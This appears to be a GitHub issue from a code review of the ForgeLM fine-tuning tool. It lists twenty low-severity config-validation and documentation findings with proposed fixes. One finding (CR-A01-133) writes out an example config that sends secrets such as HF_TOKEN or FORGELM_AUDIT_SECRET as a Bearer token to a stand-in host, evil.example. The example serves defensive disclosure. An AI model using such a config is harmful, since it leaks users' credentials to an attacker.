Skip to content

[Wave 4] Low/info — Module sweep: Config schema & public library API (part 3/4) #663

Open

Description

@cemililik

Wave 4 · 20 finding(s) in 20 fix package(s). Fix these whenever a pull request touches this module ("clean the module you touch").

Findings

  • CR-A01-115 (code, Low) — distributed_training reference (EN+TR) says ForgeLM 'will warn' on unsloth + distributed; config.py raises a validation error
    severity Low · reachability default · intent contract-violation · confidence likely · independently confirmed · reproduced end to end
    Failure scenario. An operator expecting a warning gets a hard config error (exit 1).
    Where. docs/reference/distributed_training.md:159, forgelm/config.py:1940-1944, docs/reference/distributed_training-tr.md:164
    Recommended fix. Change the doc row (EN+TR) to 'rejected at config validation'.

  • CR-A01-116 (code, Low) — api_version bump guidance contradicts itself and the tier registry
    severity Low · reachability default · intent contract-violation · confidence likely · independently confirmed · reproduced end to end
    Failure scenario. A consumer reads the guide and concludes that a change in api_version means a stable signature changed. The 1.1.0 -> 1.2.0 change touched only experimental-tier symbols, and the PATCH slot can move on implementation-only changes. The rationale in _version.py names the wrong tier.
    Where. docs/guides/library_api.md:261, forgelm/_version.py:66, forgelm/_version.py:53-55, forgelm/__init__.py:175
    Recommended fix. Align the guide with the _version.py rules (MAJOR on a stable removal or break, MINOR on an addition, PATCH or none otherwise). Correct the 1.2.0 rationale so it says the two classes are experimental-tier.

  • CR-A01-117 (code, Low) — Troubleshooting tells operators to set nonexistent training.bf16/fp16 keys; mixed precision cannot be disabled
    severity Low · reachability default · intent contract-violation · confidence confirmed · single reviewer · reproduced end to end · already tracked: KNOWN-OPEN C31-DOC-SCHEMA-PROSE — docs/roadmap/phase-16-trust-surface-hardening.md:785-786 (S15 open)
    Failure scenario. An operator debugging NaN loss on a GPU follows the guide. The run refuses to start (exit 1). Removing the keys leaves bf16/fp16 autocast on, so the suggested fix cannot be applied at all.
    Where. docs/guides/troubleshooting.md:109, docs/guides/troubleshooting-tr.md:111-112, forgelm/config.py:449, forgelm/trainer.py:516-517
    Recommended fix. Remove the sentence, or say that ForgeLM picks bf16/fp16 automatically on CUDA. Optionally add a config field (e.g. training.mixed_precision: auto|bf16|fp16|no) using the add-config-field skill.

  • CR-A01-118 (code, Low) — Roadmap lists category_thresholds (per-harm-category limits) as shipped; the key is rejected at config validation
    severity Low · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. An operator copies the roadmap's category_thresholds example to gate on S1 (violent crimes) at 0%. The config is rejected (exit 1), so no fail-open occurs. However, the per-category gate the roadmap describes is not available, and the closest substitute (severity_thresholds) groups categories by severity.
    Where. forgelm/config.py:908-911, forgelm/config.py:978-984, forgelm/safety/_gates.py:269-277, docs/roadmap/completed-phases.md:513
    Recommended fix. Mark the roadmap item as not shipped or replaced by severity_thresholds, or implement a category-keyed gate.

  • CR-A01-119 (code, Low) — Finite merge weights whose sum overflows to inf pass MergeInput validation and silently zero the merge (TIES/DARE may divide by zero)
    severity Low · reachability default · intent intended-but-harmful · confidence likely · independently confirmed · reproduced end to end · already tracked: PARTIALLY-FIXED C31-NUMERIC-CONFIG — docs/roadmap/phase-16-trust-surface-hardening.md:289-292 (S2 done); CHANGELOG.md:9-20
    Failure scenario. An operator scales weights by a huge constant. The linear merge succeeds and writes what is essentially the base model.
    Where. forgelm/config.py:167-175, forgelm/merging.py:120-130, forgelm/merging.py:130, forgelm/merging.py:332-348
    Recommended fix. Add a model validator on MergeConfig rejecting a non-finite weight sum at load (exit 1).

  • CR-A01-120 (code, Low) — Retention TTLs are never recorded in the audit log, contrary to the GDPR page
    severity Low · reachability default · intent contract-violation · confidence likely · single reviewer · reproduced end to end
    Failure scenario. An auditor checks audit_log.jsonl for the declared storage-limitation horizon as the manual promises and finds nothing.
    Where. docs/usermanuals/en/compliance/gdpr.md:61, docs/usermanuals/tr/compliance/gdpr.md:61, forgelm/config.py:1525-1592
    Recommended fix. Emit the retention block in pipeline.initialized or a dedicated audit event (and catalogue it), or correct the sentence.

  • CR-A01-121 (code, Low) — Project-layout page describes defaults and an evidence-bundle layout that ForgeLM does not produce
    severity Low · reachability default · intent contract-violation · confidence likely · single reviewer · not reproduced (code trace)
    Failure scenario. A team follows the page's commit guidance (checkpoints/*/artifacts/) and never commits the real compliance bundle at checkpoints/compliance/. Two configs left at the default output_dir both write into ./checkpoints.
    Where. docs/usermanuals/en/getting-started/project-layout.md:23-30, docs/usermanuals/en/getting-started/project-layout.md:41, docs/usermanuals/en/getting-started/project-layout.md:53, docs/usermanuals/en/getting-started/project-layout.md:82
    Recommended fix. Regenerate the tree from a real run: output_dir/final_model, output_dir/compliance, audit_log.jsonl. Drop config_snapshot.yaml, .forgelm/ and K8s. Fix the default in the conventions table, in EN and TR.

  • CR-A01-122 (code, Low) — training.max_steps accepts 0 (and YAML off/no/false become 0): the run makes no weight updates but exits 0 as a successful fine-tune
    severity Low · reachability undocumented · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. training.max_steps: 0, or max_steps: off from an operator who means 'no step cap, use epochs', validates and runs. The run exits 0 and writes a final_model whose adapter equals its initialisation. Model card, compliance manifest and audit log all describe a completed fine-tune.
    Where. forgelm/config.py:465-467, forgelm/trainer.py:498, docs/reference/configuration.md:71, forgelm/config.py:2252
    Recommended fix. Reject 0: either a validator requiring max_steps == -1 or >= 1, or ge=1 with Optional/None meaning 'use epochs'. Use StrictInt (or a bool-rejecting before-validator) so off cannot become 0. Add a test for the 0 and bool cases.

  • CR-A01-123 (code, Low) — target_modules field description says 'Module-name fragments', but PEFT matches exact names or '.'-suffixes only, case-sensitively
    severity Low · reachability default · intent contract-violation · confidence likely · single reviewer · reproduced end to end
    Failure scenario. An operator writes 'proj' or 'attn' expecting fragment semantics. The config validates, then the run fails after the model load (exit 2), or with a mixed list the fragment entry is silently ignored.
    Where. forgelm/config.py:382-385
    Recommended fix. Reword to 'exact module names or dotted-suffix names (e.g. q_proj matches model.layers.0.self_attn.q_proj); case-sensitive'. If regex or fragments are wanted, accept a string and pass it to PEFT as a full-match regex.

  • CR-A01-124 (code, Low) — Nonexistent model.revision: local dir ignores it (exit 0, dry-run and run succeed); cached Hub model fails after load start as exit 2 with a message that blames the network
    severity Low · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced end to end
    Where. forgelm/config.py:302-330 (_warn_revision_on_local_path; 'can fail closed' docstring at 315-317), forgelm/model.py:96-157 (prepare_revision_pin; never-raises at 124; pinned_unverified warning at 146-156), forgelm/model.py:566-582 (pin passed to tokenizer and weights loads), forgelm/compliance.py:1296-1307 (local_path / offline cache-miss -> pinned_unverified)
    Recommended fix. At load time in get_model_and_tokenizer: if config.model.revision is set and name_or_path is a local directory, raise ConfigError (as the config.py docstring promises) or at least refuse to record revision_pinned. When pinned_unverified and the load raises OSError/RevisionNotFoundError, wrap it in ConfigError naming model.revision, the repo, and whether the run was offline, so the exit code is 1…

  • CR-A01-125 (code, Low) — Pipeline inheritance matrix lists a non-existent model.chat_template field and omits revision/offline from the fields that follow the root
    severity Low · reachability default · intent contract-violation · confidence confirmed · single reviewer · reproduced end to end · already tracked: KNOWN-OPEN C31-DOC-SCHEMA-PROSE — docs/roadmap/phase-16-trust-surface-hardening.md:785-786 (S15 open)
    Failure scenario. An operator who adds model.chat_template per the guide gets an extra-forbid validation error, and nobody is told that model.revision is inherited by chained or overridden stages.
    Where. docs/guides/pipeline.md:105, docs/guides/pipeline-tr.md:106, forgelm/config.py:249-297
    Recommended fix. Replace chat_template with the real inherited fields, including revision and offline, and add the --input-model caveats.

  • CR-A01-126 (code, Low) — BenchmarkConfig.limit and num_fewshot have no lower bound: limit=0, limit<0 and num_fewshot<0 validate and reach lm-eval verbatim; limit=0 is falsy
    severity Low · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced with stubs
    Failure scenario. An operator sets limit: 0 meaning 'smoke-check, skip samples', or a templated value resolves to 0. Validation passes, and lm-eval (as recalled) treats 0 as no limit and evaluates the whole of mmlu/hellaswag after training. The recorded benchmark_results.json still says limit 0. A negative limit or num_fewshot instead fails after training and, with auto_revert, deletes the model with exit 3.
    Where. forgelm/config.py:873-877, forgelm/benchmark.py:183-187, forgelm/benchmark.py:188-191, forgelm/benchmark.py:107-147
    Recommended fix. Add ge=1 (or gt=0) to limit and ge=0 to num_fewshot in BenchmarkConfig, with tests. If a fractional limit (lm-eval accepts float<1 as a fraction) is wanted, model it explicitly instead of overloading int.

  • CR-A01-127 (code, Low) — Blank task names (tasks: [""] or [" "]) satisfy the enabled-requires-tasks validator and reach lm-eval
    severity Low · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced with stubs
    Failure scenario. A templated config renders tasks: ["${BENCH_TASK}"] with an unset variable. Validation and --dry-run pass, training runs, the benchmark fails on an empty task name, and with auto_revert the model is deleted and the run exits 3.
    Where. forgelm/config.py:872, forgelm/config.py:888-905, forgelm/benchmark.py:162-164, forgelm/benchmark.py:186-191
    Recommended fix. In BenchmarkConfig, strip each task name and reject empty entries. Optionally, have _validate_evaluation_config check task names against lm-eval's TaskManager before training, so typos also exit 1.

  • CR-A01-128 (code, Low) — Pipeline stage-merge re-validation (M10) is untested: skipping ForgeConfig's root validators at merge time is not caught by any pipeline test
    severity Low · reachability default · intent contract-violation · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A refactor to model_construct or model_copy in merge_pipeline_stage_config (for speed, or to avoid the repeated validator warnings) passes the full suite. A pipeline whose root is high-risk then lets a stage override evaluation: with safety disabled. That stage trains and promotes a model with no safety gate, and no ConfigError is raised. The EU AI Act Art. 9 strict-tier refusal is bypassed per stage. The same applies to GaLore and distributed cross-checks.
    Where. forgelm/config.py:2156-2233 (merge_pipeline_stage_config; final return ForgeConfig(**base) at 2233), forgelm/config.py:1956-1967 (_validate_consistency), forgelm/config.py:1822-1842 (_enforce_safety_gate_for_strict_tier), tests/test_pipeline_config.py
    Recommended fix. Add one test in tests/test_pipeline_config.py. Build a root with risk_assessment.risk_category high-risk and safety enabled, plus a stage with evaluation: {safety: {enabled: false}} or {auto_revert: false}. Assert that merge_pipeline_stage_config raises ConfigError matching 'requires evaluation.safety.enabled'. Optionally add a second test that a stage-level GaLore or distributed conflict rai…

  • CR-A01-129 (code, Low) — target_modules description 'Module-name fragments' contradicts PEFT list matching (exact leaf name or '.'-bounded suffix, case-sensitive)
    severity Low · reachability default · intent contract-violation · confidence likely · single reviewer · reproduced end to end
    Failure scenario. target_modules: ["proj"] meaning 'every *_proj layer' passes --dry-run (exit 0) and then fails after the model load with exit 2 (run_E_proj.log). ["q_proj", "mlp"] would silently train only q_proj (the M5r2-A03-002 mechanism).
    Where. forgelm/config.py:384
    Recommended fix. Reword it to: 'Exact module leaf names (e.g. q_proj) or dotted suffixes (e.g. self_attn.q_proj) LoRA is injected into; matching is case-sensitive and not substring-based.'

  • CR-A01-130 (code, Low) — model.max_length is never compared with the base model's positional range (max_position_embeddings × RoPE factor). Training past it runs silently, the model card claims the longer length, and --fit-c…
    severity Low · reachability default · intent intended-but-harmful · confidence likely · independently confirmed · reproduced end to end
    Failure scenario. An operator sets model.max_length: 32768 on a base model with an 8K native range (the long-context.md example) and leaves out rope_scaling, which crashes anyway. --dry-run and --fit-check pass without comment. Training finishes with exit 0 and a finite loss while positions past 8K are extrapolated. The model card advertises 'Max Sequence Length 32768', and the deployed model degrades on long inputs. On a GPT-2-class model, the run instead fails after the full model load with an index error (exi…
    Where. forgelm/config.py:253-258, forgelm/model.py:463-471, forgelm/fit_check.py:89-104, forgelm/fit_check.py:288
    Recommended fix. Add one AutoConfig-based check shared by the load path and the pre-flight paths. effective_range = cfg.max_position_embeddings (or n_positions/seq_length, or text_config.* for VLMs) × rope factor (from training.rope_scaling, or the model's own rope_parameters when it is not 'default'). (1) In model.py, right after the model config is resolved (before or at from_pretrained): if max_length > effect…

  • CR-A01-131 (code, Low) — Docs never warn that --generate-data overwrites output_file (or leaves a partial file on failure), never say teacher_backend: file reads seed_file, and the shipped examples make output_file the train…
    severity Low · reachability default · intent contract-violation · confidence likely · independently confirmed · not reproduced (code trace)
    Failure scenario. An operator follows the user-manual example, where the output is also an extra training dataset, and re-runs generation after a teacher outage, as the troubleshooting page suggests. Nothing in the docs warns that the earlier synthetic dataset is replaced the moment the first new answer arrives, even if the run then fails.
    Where. docs/usermanuals/en/data/synthetic-data.md:40, docs/usermanuals/en/data/synthetic-data.md:37-41, docs/usermanuals/en/data/synthetic-data.md:63, docs/usermanuals/en/data/synthetic-data.md:115-127
    Recommended fix. State the overwrite semantics on the output_file row and in the user manual, and say what is left after a failure. Say that teacher_backend: file reads prompt→response pairs from seed_file. Add a pitfall box about aliasing output_file with seed_file or the training data. Fix the zero-yield log text. Update the docs together with the atomic-replace fix and mirror the changes to TR.

  • CR-A01-132 (code, Low) — Warn-once flags are process-scoped, not run-scoped: a second config or run in the same process gets no risk-tier disagreement warning (and no golds-missing GRPO warning)
    severity Low · reachability documented-opt-in · intent intended-but-harmful · confidence likely · independently confirmed · reproduced end to end
    Failure scenario. A notebook or Airflow worker validates and trains config A, whose risk tiers disagree, and then config B with the same disagreement in the same process. Config B's run log carries no warning, so config B's Annex IV bundle ships with contradictory tiers and no run-local record that ForgeLM noticed. Likewise, a second GRPO stage whose reward is wired but receives no gold_answer column contributes 0.0 correctness reward per batch with no warning, if an earlier stage in the process already warned.
    Where. forgelm/config.py:1595-1601, forgelm/config.py:1893-1919, forgelm/trainer.py:210-255, forgelm/trainer.py:1101-1102
    Recommended fix. Scope the dedupe to a run. Options: key it by pipeline run or config hash; keep the set on the PipelineOrchestrator and pass a 'suppress' flag into the per-stage re-validation; or reset the set in load_config and ForgeTrainer.init. Record the disagreement once per run as an audit event or a manifest note, so the evidence does not depend on a log line. Tests that would pin the behaviour: - tes…

  • CR-A01-133 (code, Low) — Judge and synthetic-teacher configs can send the value of any environment variable (HF_TOKEN, FORGELM_AUDIT_SECRET, GITHUB_TOKEN) as 'Authorization: Bearer' to any public host the same config names.…
    severity Low · reachability default · intent intended-but-harmful · confidence likely · independently confirmed · reproduced end to end
    Failure scenario. A YAML config containing evaluation.llm_judge: {enabled: true, judge_api_key_env: FORGELM_AUDIT_SECRET, judge_api_base: https://evil.example/x} (or HF_TOKEN / GITHUB_TOKEN, or synthetic: {teacher_backend: api, api_key_env: GITHUB_TOKEN, api_base: https://evil.example/v1}) passes validation and the trainer pre-flight with no warning. At judge time, the wire request goes to https:///x with Host: evil.example and 'Authorization: Bearer DUMMY-AUDIT-SECRET-123'. With F…
    Where. forgelm/config.py:1089-1094, forgelm/config.py:1092, forgelm/config.py:1343-1349, forgelm/trainer.py:388
    Recommended fix. Bind each credential to the destination it is meant for. Options: (a) refuse, at validation or pre-flight, judge_api_key_env / api_key_env names that match ForgeLM's own or well-known non-API secrets (FORGELM_AUDIT_SECRET, HF_TOKEN, HUGGINGFACE_TOKEN, HUGGING_FACE_HUB_TOKEN, GITHUB_TOKEN, ACTIONS_, AWS_); (b) when api_base is not a known provider host, log one INFO/WARNING per run naming the de…

  • CR-A01-134 (code, Low) — Relative eval_dataset / test_prompts paths resolve against the process cwd, not the config file's directory; this is undocumented, the defaults name files nothing ships, and the error omits the resol…
    severity Low · reachability default · intent intended-but-harmful · confidence confirmed · independently confirmed · reproduced end to end
    Failure scenario. A team keeps configs/run.yaml and configs/eval.jsonl together and references eval_dataset: eval.jsonl, then runs forgelm --config configs/run.yaml from the repo root (the CI default). The file is not found, and the trained model is deleted after training with exit 3. The log names only 'eval.jsonl', which the operator can see exists. A pip-install user who follows configuration.md's 'Built-in sets in configs/safety_prompts/' points at a path that does not exist in their install.
    Where. forgelm/config.py:937-939, forgelm/config.py:1102, forgelm/config.py:2245-2271, forgelm/judge.py:600-602
    Recommended fix. Document in configuration.md (EN and TR) that relative gate-input paths resolve against the working directory, or resolve them against the config file's directory at load_config time, consistently with data.dataset_name_or_path. Print os.path.abspath(path) and os.getcwd() in the not-found messages. Point the docs and template at the bundled forgelm/safety_prompts/default_probes.jsonl (or make it…

Done when

  • Every finding above is fixed or closed with a reason (tick it here).
  • Code fixes carry a test; doc fixes update the Turkish mirror in the same PR.

Found by the October 2026 ForgeLM code and documentation review against commit cab2947. Code links point at that commit; line numbers may have moved since. Finding IDs (CR-…, DOC-…, TECH-…) are stable references for this backlog.

Activity

  1. added
    bug
    area: config
    backlog: known
    security
    severity: low
    source: review-2026-10
    wave: 4
    on Oct 9, 2026
  2. cemililik commented on Oct 9, 2026

    @cemililik
    CollaboratorAuthor

    Progress on development — verified 2026-10-09 at 08f2426.

    Fixed (ticked in the list above):

    • CR-A01-126 — evaluation.benchmark.num_fewshot must be ≥ 0 and limit ≥ 1, pinned by the non-finite matrix's other-field rows (08f2426)

    Partly fixed (still unticked):

    • CR-A01-116 — the _version.py rationale is corrected, but docs/guides/library_api.md (EN/TR) still says __api_version__ bumps only when a stable-tier signature changes

    Everything else in this issue is unchanged.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: configbacklog: knownbugsecurityseverity: lowsource: review-2026-10wave: 4

    Type

    No type

    Projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions